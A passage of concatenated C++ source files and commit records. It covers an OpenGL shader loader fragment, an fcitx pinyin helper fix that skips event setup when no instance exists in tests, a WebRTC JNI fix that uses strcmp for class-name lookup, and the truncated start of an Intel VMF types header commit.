std::cout<<name<<" failed to compile "<<Contents<<std::endl<<ShaderLog<<std::endl;
delete [] ShaderLog;
}
else
std::cout<<"Successfully compiled "<<name<<std::endl;
glAttachShader(ProgramID,ID);
delete [] Contents;
}
void Shader::Detach(GLuint ProgramID)
{
glDetachShader(ProgramID,ID);
}
Shader::~Shader()
{
glDeleteShader(ID);
}
const std::string ShaderExtensions[]={".vs.glsl",".tc.glsl",".te.glsl",".gs.glsl",".fs.glsl"};
const int ShaderTypes[]={GL_VERTEX_SHADER,GL_TESS_CONTROL_SHADER,GL_TESS_EVALUATION_SHADER,GL_GEOMETRY_SHADER,GL_FRAGMENT_SHADER};
//const int NumShaderTypes=sizeof(ShaderTypes)/sizeof(ShaderTypes[0]);
GLuint ShaderProgram::GetUniformLocation(std::string name)
{
GLuint ret= glGetUniformLocation(ID,name.c_str());
GLenum ErrorValue = glGetError();
if(ErrorValue!=GL_NO_ERROR)
std::cout<<"failed to get uniform location of "<<name<<" : "<<gluErrorString(ErrorValue)<<std::endl;
return ret;
}
void ShaderProgram::LoadShaders(std::string ShaderNames[])
{
std::ifstream ShaderFile;
for(int i=0;i<NumShaderTypes;i++)
{
ShaderFile.open(("shaders/"+ShaderNames[i]).c_str());
if(ShaderFile.good())
{
Shaders[i]=new Shader(ShaderFile,ID,ShaderTypes[i],ShaderNames[i]);
ShaderFile.close();
}
else
Shaders[i]=0;
}
glLinkProgram(ID);
glUseProgram(ID);
}
ShaderProgram::ShaderProgram(std::string VSName,std::string FSName,std::string GSName, std::string TCSName,std::string TESName)
{
ID=glCreateProgram();
std::string ShaderNames[]={VSName,FSName,GSName,TCSName,TESName};
LoadShaders(ShaderNames);
}
ShaderProgram::ShaderProgram(std::string name)
{
ID=glCreateProgram();
std::string ShaderNames[NumShaderTypes];
for(int i=0;i<NumShaderTypes;i++)
{
ShaderNames[i]=name+ShaderExtensions[i];
}
LoadShaders(ShaderNames);
}
ShaderProgram::~ShaderProgram()
{
glUseProgram(0);//for now, really should fix to only do if in use
for(int i=0;i<NumShaderTypes;i++)
{
if(Shaders[i])
{
Shaders[i]->Detach(ID);
delete Shaders[i];
}
}
glDeleteProgram(ID);
}
<|endoftext|>
|
<commit_before>//
// Copyright (C) 2017~2017 by CSSlayer
// wengxt@gmail.com
//
// This library is free software; you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation; either version 2.1 of the
// License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; see the file COPYING. If not,
// see <http://www.gnu.org/licenses/>.
//
#include "pinyinhelper.h"
#include <algorithm>
#include <clipboard_public.h>
#include <fcitx-config/iniparser.h>
#include <fcitx-utils/event.h>
#include <fcitx-utils/i18n.h>
#include <fcitx-utils/standardpath.h>
#include <fcitx-utils/utf8.h>
#include <fcitx/addonfactory.h>
#include <fcitx/inputcontext.h>
#include <fcitx/inputmethodentry.h>
#include <fcntl.h>
#include <fmt/format.h>
#include <set>
namespace fcitx {
PinyinHelper::PinyinHelper(Instance *instance) : instance_(instance) {
lookup_.load();
stroke_.load();
deferEvent_ = instance_->eventLoop().addDeferEvent([this](EventSource *) {
initQuickPhrase();
return true;
});
}
void PinyinHelper::initQuickPhrase() {
if (!quickphrase()) {
return;
}
handler_ = quickphrase()->call<IQuickPhrase::addProvider>(
[this](InputContext *ic, const std::string &input,
QuickPhraseAddCandidateCallback callback) {
if (input != "duyin") {
return true;
}
std::unordered_set<std::string> s;
if (ic->capabilityFlags().test(CapabilityFlag::SurroundingText)) {
if (auto selected = ic->surroundingText().selectedText();
!selected.empty()) {
s.insert(std::move(selected));
}
}
if (clipboard()) {
if (s.empty()) {
s.insert(clipboard()->call<IClipboard::primary>(ic));
}
s.insert(clipboard()->call<IClipboard::clipboard>(ic));
} else {
return false;
}
for (const auto &str : s) {
if (!utf8::validate(str)) {
continue;
}
// Hard limit to prevent do too much lookup.
constexpr int limit = 20;
int counter = 0;
for (auto c : utf8::MakeUTF8CharRange(str)) {
auto result = lookup(c);
if (!result.empty()) {
auto py = stringutils::join(result, ", ");
auto display = fmt::format(_("{0} ({1})"),
utf8::UCS4ToUTF8(c), py);
callback(display, display,
QuickPhraseAction::DoNothing);
}
if (counter >= limit) {
break;
}
counter += 1;
}
}
return false;
});
}
std::vector<std::string> PinyinHelper::lookup(uint32_t chr) {
return lookup_.lookup(chr);
}
std::vector<std::pair<std::string, std::string>>
PinyinHelper::lookupStroke(const std::string &input, int limit) {
static const std::set<char> num{'1', '2', '3', '4', '5'};
static const std::map<char, char> py{
{'h', '1'}, {'s', '2'}, {'p', '3'}, {'n', '4'}, {'z', '5'}};
if (input.empty()) {
return {};
}
if (num.count(input[0])) {
if (!std::all_of(input.begin(), input.end(),
[&](char c) { return num.count(c); })) {
return {};
}
return stroke_.lookup(input, limit);
}
if (py.count(input[0])) {
if (!std::all_of(input.begin(), input.end(),
[&](char c) { return py.count(c); })) {
return {};
}
std::string converted;
std::transform(input.begin(), input.end(),
std::back_inserter(converted),
[&](char c) { return py.find(c)->second; });
return stroke_.lookup(converted, limit);
}
return {};
}
std::string PinyinHelper::prettyStrokeString(const std::string &input) {
return stroke_.prettyString(input);
}
class PinyinHelperModuleFactory : public AddonFactory {
AddonInstance *create(AddonManager *manager) override {
return new PinyinHelper(manager->instance());
}
};
} // namespace fcitx
FCITX_ADDON_FACTORY(fcitx::PinyinHelperModuleFactory)
<commit_msg>Fix pinyin helper test. In test we have no instance.<commit_after>//
// Copyright (C) 2017~2017 by CSSlayer
// wengxt@gmail.com
//
// This library is free software; you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation; either version 2.1 of the
// License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; see the file COPYING. If not,
// see <http://www.gnu.org/licenses/>.
//
#include "pinyinhelper.h"
#include <algorithm>
#include <clipboard_public.h>
#include <fcitx-config/iniparser.h>
#include <fcitx-utils/event.h>
#include <fcitx-utils/i18n.h>
#include <fcitx-utils/standardpath.h>
#include <fcitx-utils/utf8.h>
#include <fcitx/addonfactory.h>
#include <fcitx/inputcontext.h>
#include <fcitx/inputmethodentry.h>
#include <fcntl.h>
#include <fmt/format.h>
#include <set>
namespace fcitx {
PinyinHelper::PinyinHelper(Instance *instance) : instance_(instance) {
lookup_.load();
stroke_.load();
// This is ok in the test.
if (!instance_) {
return;
}
deferEvent_ = instance_->eventLoop().addDeferEvent([this](EventSource *) {
initQuickPhrase();
return true;
});
}
void PinyinHelper::initQuickPhrase() {
if (!quickphrase()) {
return;
}
handler_ = quickphrase()->call<IQuickPhrase::addProvider>(
[this](InputContext *ic, const std::string &input,
QuickPhraseAddCandidateCallback callback) {
if (input != "duyin") {
return true;
}
std::unordered_set<std::string> s;
if (ic->capabilityFlags().test(CapabilityFlag::SurroundingText)) {
if (auto selected = ic->surroundingText().selectedText();
!selected.empty()) {
s.insert(std::move(selected));
}
}
if (clipboard()) {
if (s.empty()) {
s.insert(clipboard()->call<IClipboard::primary>(ic));
}
s.insert(clipboard()->call<IClipboard::clipboard>(ic));
} else {
return false;
}
for (const auto &str : s) {
if (!utf8::validate(str)) {
continue;
}
// Hard limit to prevent do too much lookup.
constexpr int limit = 20;
int counter = 0;
for (auto c : utf8::MakeUTF8CharRange(str)) {
auto result = lookup(c);
if (!result.empty()) {
auto py = stringutils::join(result, ", ");
auto display = fmt::format(_("{0} ({1})"),
utf8::UCS4ToUTF8(c), py);
callback(display, display,
QuickPhraseAction::DoNothing);
}
if (counter >= limit) {
break;
}
counter += 1;
}
}
return false;
});
}
std::vector<std::string> PinyinHelper::lookup(uint32_t chr) {
return lookup_.lookup(chr);
}
std::vector<std::pair<std::string, std::string>>
PinyinHelper::lookupStroke(const std::string &input, int limit) {
static const std::set<char> num{'1', '2', '3', '4', '5'};
static const std::map<char, char> py{
{'h', '1'}, {'s', '2'}, {'p', '3'}, {'n', '4'}, {'z', '5'}};
if (input.empty()) {
return {};
}
if (num.count(input[0])) {
if (!std::all_of(input.begin(), input.end(),
[&](char c) { return num.count(c); })) {
return {};
}
return stroke_.lookup(input, limit);
}
if (py.count(input[0])) {
if (!std::all_of(input.begin(), input.end(),
[&](char c) { return py.count(c); })) {
return {};
}
std::string converted;
std::transform(input.begin(), input.end(),
std::back_inserter(converted),
[&](char c) { return py.find(c)->second; });
return stroke_.lookup(converted, limit);
}
return {};
}
std::string PinyinHelper::prettyStrokeString(const std::string &input) {
return stroke_.prettyString(input);
}
class PinyinHelperModuleFactory : public AddonFactory {
AddonInstance *create(AddonManager *manager) override {
return new PinyinHelper(manager->instance());
}
};
} // namespace fcitx
FCITX_ADDON_FACTORY(fcitx::PinyinHelperModuleFactory)
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include <android/log.h>
#include "webrtc/modules/utility/interface/jvm_android.h"
#include "webrtc/base/checks.h"
#define TAG "JVM"
#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__)
#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
namespace webrtc {
JVM* g_jvm;
// TODO(henrika): add more clases here if needed.
struct {
const char* name;
jclass clazz;
} loaded_classes[] = {
{"org/webrtc/voiceengine/BuildInfo", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioManager", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioRecord", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioTrack", nullptr},
};
// Android's FindClass() is trickier than usual because the app-specific
// ClassLoader is not consulted when there is no app-specific frame on the
// stack. Consequently, we only look up all classes once in native WebRTC.
// http://developer.android.com/training/articles/perf-jni.html#faq_FindClass
void LoadClasses(JNIEnv* jni) {
for (auto& c : loaded_classes) {
jclass localRef = FindClass(jni, c.name);
CHECK_EXCEPTION(jni) << "Error during FindClass: " << c.name;
CHECK(localRef) << c.name;
jclass globalRef = reinterpret_cast<jclass>(jni->NewGlobalRef(localRef));
CHECK_EXCEPTION(jni) << "Error during NewGlobalRef: " << c.name;
CHECK(globalRef) << c.name;
c.clazz = globalRef;
}
}
void FreeClassReferences(JNIEnv* jni) {
for (auto& c : loaded_classes) {
jni->DeleteGlobalRef(c.clazz);
c.clazz = nullptr;
}
}
jclass LookUpClass(const char* name) {
for (auto& c : loaded_classes) {
if (c.name == name)
return c.clazz;
}
CHECK(false) << "Unable to find class in lookup table";
return 0;
}
// AttachCurrentThreadIfNeeded implementation.
AttachCurrentThreadIfNeeded::AttachCurrentThreadIfNeeded()
: attached_(false) {
ALOGD("AttachCurrentThreadIfNeeded::ctor%s", GetThreadInfo().c_str());
JavaVM* jvm = JVM::GetInstance()->jvm();
CHECK(jvm);
JNIEnv* jni = GetEnv(jvm);
if (!jni) {
ALOGD("Attaching thread to JVM");
JNIEnv* env = nullptr;
jint ret = jvm->AttachCurrentThread(&env, nullptr);
attached_ = (ret == JNI_OK);
}
}
AttachCurrentThreadIfNeeded::~AttachCurrentThreadIfNeeded() {
ALOGD("AttachCurrentThreadIfNeeded::dtor%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
if (attached_) {
ALOGD("Detaching thread from JVM");
jint res = JVM::GetInstance()->jvm()->DetachCurrentThread();
CHECK(res == JNI_OK) << "DetachCurrentThread failed: " << res;
}
}
// GlobalRef implementation.
GlobalRef::GlobalRef(JNIEnv* jni, jobject object)
: jni_(jni), j_object_(NewGlobalRef(jni, object)) {
ALOGD("GlobalRef::ctor%s", GetThreadInfo().c_str());
}
GlobalRef::~GlobalRef() {
ALOGD("GlobalRef::dtor%s", GetThreadInfo().c_str());
DeleteGlobalRef(jni_, j_object_);
}
jboolean GlobalRef::CallBooleanMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jboolean res = jni_->CallBooleanMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallBooleanMethod";
va_end(args);
return res;
}
jint GlobalRef::CallIntMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jint res = jni_->CallIntMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallIntMethod";
va_end(args);
return res;
}
void GlobalRef::CallVoidMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jni_->CallVoidMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallVoidMethod";
va_end(args);
}
// NativeRegistration implementation.
NativeRegistration::NativeRegistration(JNIEnv* jni, jclass clazz)
: JavaClass(jni, clazz), jni_(jni) {
ALOGD("NativeRegistration::ctor%s", GetThreadInfo().c_str());
}
NativeRegistration::~NativeRegistration() {
ALOGD("NativeRegistration::dtor%s", GetThreadInfo().c_str());
jni_->UnregisterNatives(j_class_);
CHECK_EXCEPTION(jni_) << "Error during UnregisterNatives";
}
rtc::scoped_ptr<GlobalRef> NativeRegistration::NewObject(
const char* name, const char* signature, ...) {
ALOGD("NativeRegistration::NewObject%s", GetThreadInfo().c_str());
va_list args;
va_start(args, signature);
jobject obj = jni_->NewObjectV(j_class_,
GetMethodID(jni_, j_class_, name, signature),
args);
CHECK_EXCEPTION(jni_) << "Error during NewObjectV";
va_end(args);
return rtc::scoped_ptr<GlobalRef>(new GlobalRef(jni_, obj));
}
// JavaClass implementation.
jmethodID JavaClass::GetMethodId(
const char* name, const char* signature) {
return GetMethodID(jni_, j_class_, name, signature);
}
jmethodID JavaClass::GetStaticMethodId(
const char* name, const char* signature) {
return GetStaticMethodID(jni_, j_class_, name, signature);
}
jobject JavaClass::CallStaticObjectMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jobject res = jni_->CallStaticObjectMethod(j_class_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallStaticObjectMethod";
return res;
}
// JNIEnvironment implementation.
JNIEnvironment::JNIEnvironment(JNIEnv* jni) : jni_(jni) {
ALOGD("JNIEnvironment::ctor%s", GetThreadInfo().c_str());
}
JNIEnvironment::~JNIEnvironment() {
ALOGD("JNIEnvironment::dtor%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
}
rtc::scoped_ptr<NativeRegistration> JNIEnvironment::RegisterNatives(
const char* name, const JNINativeMethod *methods, int num_methods) {
ALOGD("JNIEnvironment::RegisterNatives(%s)", name);
DCHECK(thread_checker_.CalledOnValidThread());
jclass clazz = LookUpClass(name);
jni_->RegisterNatives(clazz, methods, num_methods);
CHECK_EXCEPTION(jni_) << "Error during RegisterNatives";
return rtc::scoped_ptr<NativeRegistration>(
new NativeRegistration(jni_, clazz));
}
std::string JNIEnvironment::JavaToStdString(const jstring& j_string) {
DCHECK(thread_checker_.CalledOnValidThread());
const char* jchars = jni_->GetStringUTFChars(j_string, nullptr);
CHECK_EXCEPTION(jni_);
const int size = jni_->GetStringUTFLength(j_string);
CHECK_EXCEPTION(jni_);
std::string ret(jchars, size);
jni_->ReleaseStringUTFChars(j_string, jchars);
CHECK_EXCEPTION(jni_);
return ret;
}
// static
void JVM::Initialize(JavaVM* jvm, jobject context) {
ALOGD("JVM::Initialize%s", GetThreadInfo().c_str());
CHECK(!g_jvm);
g_jvm = new JVM(jvm, context);
}
// static
void JVM::Uninitialize() {
ALOGD("JVM::Uninitialize%s", GetThreadInfo().c_str());
DCHECK(g_jvm);
delete g_jvm;
g_jvm = nullptr;
}
// static
JVM* JVM::GetInstance() {
DCHECK(g_jvm);
return g_jvm;
}
JVM::JVM(JavaVM* jvm, jobject context)
: jvm_(jvm) {
ALOGD("JVM::JVM%s", GetThreadInfo().c_str());
CHECK(jni()) << "AttachCurrentThread() must be called on this thread.";
context_ = NewGlobalRef(jni(), context);
LoadClasses(jni());
}
JVM::~JVM() {
ALOGD("JVM::~JVM%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
FreeClassReferences(jni());
DeleteGlobalRef(jni(), context_);
}
rtc::scoped_ptr<JNIEnvironment> JVM::environment() {
ALOGD("JVM::environment%s", GetThreadInfo().c_str());
// The JNIEnv is used for thread-local storage. For this reason, we cannot
// share a JNIEnv between threads. If a piece of code has no other way to get
// its JNIEnv, we should share the JavaVM, and use GetEnv to discover the
// thread's JNIEnv. (Assuming it has one, if not, use AttachCurrentThread).
// See // http://developer.android.com/training/articles/perf-jni.html.
JNIEnv* jni = GetEnv(jvm_);
if (!jni) {
ALOGE("AttachCurrentThread() has not been called on this thread.");
return rtc::scoped_ptr<JNIEnvironment>();
}
return rtc::scoped_ptr<JNIEnvironment>(new JNIEnvironment(jni));
}
JavaClass JVM::GetClass(const char* name) {
ALOGD("JVM::GetClass(%s)%s", name, GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
return JavaClass(jni(), LookUpClass(name));
}
} // namespace webrtc
<commit_msg>Use strcmp instead of == operator for c.name and name to find appropriate classes for WebRtcAudio*.java<commit_after>/*
* Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include <android/log.h>
#include "webrtc/modules/utility/interface/jvm_android.h"
#include "webrtc/base/checks.h"
#define TAG "JVM"
#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__)
#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
namespace webrtc {
JVM* g_jvm;
// TODO(henrika): add more clases here if needed.
struct {
const char* name;
jclass clazz;
} loaded_classes[] = {
{"org/webrtc/voiceengine/BuildInfo", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioManager", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioRecord", nullptr},
{"org/webrtc/voiceengine/WebRtcAudioTrack", nullptr},
};
// Android's FindClass() is trickier than usual because the app-specific
// ClassLoader is not consulted when there is no app-specific frame on the
// stack. Consequently, we only look up all classes once in native WebRTC.
// http://developer.android.com/training/articles/perf-jni.html#faq_FindClass
void LoadClasses(JNIEnv* jni) {
for (auto& c : loaded_classes) {
jclass localRef = FindClass(jni, c.name);
CHECK_EXCEPTION(jni) << "Error during FindClass: " << c.name;
CHECK(localRef) << c.name;
jclass globalRef = reinterpret_cast<jclass>(jni->NewGlobalRef(localRef));
CHECK_EXCEPTION(jni) << "Error during NewGlobalRef: " << c.name;
CHECK(globalRef) << c.name;
c.clazz = globalRef;
}
}
void FreeClassReferences(JNIEnv* jni) {
for (auto& c : loaded_classes) {
jni->DeleteGlobalRef(c.clazz);
c.clazz = nullptr;
}
}
jclass LookUpClass(const char* name) {
for (auto& c : loaded_classes) {
if (strcmp(c.name, name) == 0)
return c.clazz;
}
CHECK(false) << "Unable to find class in lookup table";
return 0;
}
// AttachCurrentThreadIfNeeded implementation.
AttachCurrentThreadIfNeeded::AttachCurrentThreadIfNeeded()
: attached_(false) {
ALOGD("AttachCurrentThreadIfNeeded::ctor%s", GetThreadInfo().c_str());
JavaVM* jvm = JVM::GetInstance()->jvm();
CHECK(jvm);
JNIEnv* jni = GetEnv(jvm);
if (!jni) {
ALOGD("Attaching thread to JVM");
JNIEnv* env = nullptr;
jint ret = jvm->AttachCurrentThread(&env, nullptr);
attached_ = (ret == JNI_OK);
}
}
AttachCurrentThreadIfNeeded::~AttachCurrentThreadIfNeeded() {
ALOGD("AttachCurrentThreadIfNeeded::dtor%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
if (attached_) {
ALOGD("Detaching thread from JVM");
jint res = JVM::GetInstance()->jvm()->DetachCurrentThread();
CHECK(res == JNI_OK) << "DetachCurrentThread failed: " << res;
}
}
// GlobalRef implementation.
GlobalRef::GlobalRef(JNIEnv* jni, jobject object)
: jni_(jni), j_object_(NewGlobalRef(jni, object)) {
ALOGD("GlobalRef::ctor%s", GetThreadInfo().c_str());
}
GlobalRef::~GlobalRef() {
ALOGD("GlobalRef::dtor%s", GetThreadInfo().c_str());
DeleteGlobalRef(jni_, j_object_);
}
jboolean GlobalRef::CallBooleanMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jboolean res = jni_->CallBooleanMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallBooleanMethod";
va_end(args);
return res;
}
jint GlobalRef::CallIntMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jint res = jni_->CallIntMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallIntMethod";
va_end(args);
return res;
}
void GlobalRef::CallVoidMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jni_->CallVoidMethodV(j_object_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallVoidMethod";
va_end(args);
}
// NativeRegistration implementation.
NativeRegistration::NativeRegistration(JNIEnv* jni, jclass clazz)
: JavaClass(jni, clazz), jni_(jni) {
ALOGD("NativeRegistration::ctor%s", GetThreadInfo().c_str());
}
NativeRegistration::~NativeRegistration() {
ALOGD("NativeRegistration::dtor%s", GetThreadInfo().c_str());
jni_->UnregisterNatives(j_class_);
CHECK_EXCEPTION(jni_) << "Error during UnregisterNatives";
}
rtc::scoped_ptr<GlobalRef> NativeRegistration::NewObject(
const char* name, const char* signature, ...) {
ALOGD("NativeRegistration::NewObject%s", GetThreadInfo().c_str());
va_list args;
va_start(args, signature);
jobject obj = jni_->NewObjectV(j_class_,
GetMethodID(jni_, j_class_, name, signature),
args);
CHECK_EXCEPTION(jni_) << "Error during NewObjectV";
va_end(args);
return rtc::scoped_ptr<GlobalRef>(new GlobalRef(jni_, obj));
}
// JavaClass implementation.
jmethodID JavaClass::GetMethodId(
const char* name, const char* signature) {
return GetMethodID(jni_, j_class_, name, signature);
}
jmethodID JavaClass::GetStaticMethodId(
const char* name, const char* signature) {
return GetStaticMethodID(jni_, j_class_, name, signature);
}
jobject JavaClass::CallStaticObjectMethod(jmethodID methodID, ...) {
va_list args;
va_start(args, methodID);
jobject res = jni_->CallStaticObjectMethod(j_class_, methodID, args);
CHECK_EXCEPTION(jni_) << "Error during CallStaticObjectMethod";
return res;
}
// JNIEnvironment implementation.
JNIEnvironment::JNIEnvironment(JNIEnv* jni) : jni_(jni) {
ALOGD("JNIEnvironment::ctor%s", GetThreadInfo().c_str());
}
JNIEnvironment::~JNIEnvironment() {
ALOGD("JNIEnvironment::dtor%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
}
rtc::scoped_ptr<NativeRegistration> JNIEnvironment::RegisterNatives(
const char* name, const JNINativeMethod *methods, int num_methods) {
ALOGD("JNIEnvironment::RegisterNatives(%s)", name);
DCHECK(thread_checker_.CalledOnValidThread());
jclass clazz = LookUpClass(name);
jni_->RegisterNatives(clazz, methods, num_methods);
CHECK_EXCEPTION(jni_) << "Error during RegisterNatives";
return rtc::scoped_ptr<NativeRegistration>(
new NativeRegistration(jni_, clazz));
}
std::string JNIEnvironment::JavaToStdString(const jstring& j_string) {
DCHECK(thread_checker_.CalledOnValidThread());
const char* jchars = jni_->GetStringUTFChars(j_string, nullptr);
CHECK_EXCEPTION(jni_);
const int size = jni_->GetStringUTFLength(j_string);
CHECK_EXCEPTION(jni_);
std::string ret(jchars, size);
jni_->ReleaseStringUTFChars(j_string, jchars);
CHECK_EXCEPTION(jni_);
return ret;
}
// static
void JVM::Initialize(JavaVM* jvm, jobject context) {
ALOGD("JVM::Initialize%s", GetThreadInfo().c_str());
CHECK(!g_jvm);
g_jvm = new JVM(jvm, context);
}
// static
void JVM::Uninitialize() {
ALOGD("JVM::Uninitialize%s", GetThreadInfo().c_str());
DCHECK(g_jvm);
delete g_jvm;
g_jvm = nullptr;
}
// static
JVM* JVM::GetInstance() {
DCHECK(g_jvm);
return g_jvm;
}
JVM::JVM(JavaVM* jvm, jobject context)
: jvm_(jvm) {
ALOGD("JVM::JVM%s", GetThreadInfo().c_str());
CHECK(jni()) << "AttachCurrentThread() must be called on this thread.";
context_ = NewGlobalRef(jni(), context);
LoadClasses(jni());
}
JVM::~JVM() {
ALOGD("JVM::~JVM%s", GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
FreeClassReferences(jni());
DeleteGlobalRef(jni(), context_);
}
rtc::scoped_ptr<JNIEnvironment> JVM::environment() {
ALOGD("JVM::environment%s", GetThreadInfo().c_str());
// The JNIEnv is used for thread-local storage. For this reason, we cannot
// share a JNIEnv between threads. If a piece of code has no other way to get
// its JNIEnv, we should share the JavaVM, and use GetEnv to discover the
// thread's JNIEnv. (Assuming it has one, if not, use AttachCurrentThread).
// See // http://developer.android.com/training/articles/perf-jni.html.
JNIEnv* jni = GetEnv(jvm_);
if (!jni) {
ALOGE("AttachCurrentThread() has not been called on this thread.");
return rtc::scoped_ptr<JNIEnvironment>();
}
return rtc::scoped_ptr<JNIEnvironment>(new JNIEnvironment(jni));
}
JavaClass JVM::GetClass(const char* name) {
ALOGD("JVM::GetClass(%s)%s", name, GetThreadInfo().c_str());
DCHECK(thread_checker_.CalledOnValidThread());
return JavaClass(jni(), LookUpClass(name));
}
} // namespace webrtc
<|endoftext|>
|
<commit_before>/*
* Copyright 2015 Intel(r) Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http ://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef __VMF_TYPES_H__
#define __VMF_TYPES_H__
/*!
* \file types.hpp
* \brief Header file contains declarations of VMF numeric types
*/
#include <cstdint>
#include <cmath>
#include <memory>
#include <cstring>
#include <utility>
#include <vector>
namespace vmf
{
/*!
* \brief Compares double values
*/
static bool DOUBLE_EQ(double a, double b)
{
return std::abs(a - b) < std::numeric_limits<double>::epsilon();
}
/*!
* \brief Character type. Equivalent of char type in C/C++
*/
typedef char vmf_char;
/*!
* \brief 64-bit integer type.
*/
typedef int64_t vmf_integer;
/*!
* \brief Double precesion floating point type.
*/
typedef double vmf_real;
/*!
* \brief String type.
*/
typedef std::string vmf_string;
/*!
* \brief floating point vector2D type.
*/
struct vmf_vec2d
{
vmf_vec2d() : x(0), y(0) {}
vmf_vec2d(vmf_real _x, vmf_real _y) : x(_x), y(_y) {}
bool operator == (const vmf_vec2d& value) const
{
return DOUBLE_EQ(x, value.x) && DOUBLE_EQ(y, value.y);
}
vmf_real x;
vmf_real y;
};
/*!
* \brief floating point vector3D type.
*/
struct vmf_vec3d : vmf_vec2d
{
vmf_vec3d() : vmf_vec2d(), z(0){}
vmf_vec3d(vmf_real _x, vmf_real _y, vmf_real _z) : vmf_vec2d(_x, _y), z(_z) {}
bool operator == (const vmf_vec3d& value) const
{
return vmf_vec2d::operator==(value) && DOUBLE_EQ(z, value.z);
}
vmf_real z;
};
/*!
* \brief floating point vector4D type.
*/
struct vmf_vec4d : vmf_vec3d
{
vmf_vec4d() : vmf_vec3d(), w(0){}
vmf_vec4d(vmf_real _x, vmf_real _y, vmf_real _z, vmf_real _w) : vmf_vec3d(_x, _y, _z), w(_w) {}
bool operator == (const vmf_vec4d& value) const
{
return vmf_vec3d::operator==(value) && DOUBLE_EQ(w, value.w);
}
vmf_real w;
};
/*!
* \brief binary buffer with arbitrary content
*/
struct vmf_rawbuffer : public std::vector<char>
{
public:
vmf_rawbuffer() : std::vector<char>()
{ }
explicit vmf_rawbuffer(const vmf_rawbuffer& other) : std::vector<char>(other)
{ }
vmf_rawbuffer(vmf_rawbuffer&& other)
{
std::swap(*this, other);
}
vmf_rawbuffer& operator=(const vmf_rawbuffer& other)
{
return static_cast<vmf_rawbuffer&>(
std::vector<char>::operator=(
static_cast< const std::vector<char> & >(other)));
}
vmf_rawbuffer& operator=(vmf_rawbuffer&& other)
{
return static_cast<vmf_rawbuffer&>(
std::vector<char>::operator=(
static_cast< std::vector<char> && >(other)));
}
vmf_rawbuffer(const char* str, const size_t len)
{
*this = (str != nullptr) ? vmf_rawbuffer(str, str + len) : vmf_rawbuffer(len);
}
private:
// These constructors are private
// because a Variant value can be converted to both size_t and vmf_rawbuffer
vmf_rawbuffer(const size_t len) : std::vector<char>(len)
{ }
vmf_rawbuffer(const char* strBegin,
const char* strEnd) : std::vector<char>(strBegin, strEnd)
{ }
};
} /* vmf */
#endif /* __VMF_TYPES_H__ */
<commit_msg>no explicit keyword<commit_after>/*
* Copyright 2015 Intel(r) Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http ://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
